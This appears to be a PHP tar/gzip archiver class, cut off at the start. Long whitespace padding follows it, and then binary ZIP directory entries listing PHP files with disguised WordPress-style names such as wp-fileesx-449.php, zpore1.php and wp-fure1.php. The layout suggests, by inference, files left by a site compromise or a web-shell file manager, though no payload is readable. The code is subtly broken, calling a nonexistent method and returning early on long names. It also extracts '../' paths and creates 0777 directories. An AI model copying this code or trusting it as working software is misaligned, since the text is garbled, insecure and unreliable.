	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PK         ! 2ޕ( (                 wp-admin.phpnu [        PK         ! -E E             ( wp-fileesx-449.phpnu [        PK         ! Kx"  "              n bin.zipnu [        PK         ! N;/. . 
             zpore1.phpnu [        PK         ! F'a  'a               zpore1.php.php.tar.gznu [        PK         ! 8T. n   n              (! cli.tarnu [        PK         ! ٰ&W  W              _ cli.zipnu [        PK         ! v 0  0             B wp-admin.php.tarnu [        PK         !       	             cache.zipnu [        PK         ! ?f  f              t wp-fileesx-449.php.php.tar.gznu [        PK         ! ~+'a  'a              K wp-fure1.php.php.tar.gznu [        PK         ! { 6  6              wp-fure1.php.tarnu [        PK         ! ^               rse.zipnu [        PK         ! TĠ               tmp.zipnu [        PK         ! e5.l  l  
             cli.tar.gznu [        PK         ! A L  L             ? wp-fileesx-449.php.tarnu [        PK         ! $[  [              ; wp-admin.php.php.tar.gznu [        PK         ! . .             L wp-fure1.phpnu [        PK         ! U  6  6              zpore1.php.tarnu [        PK        W   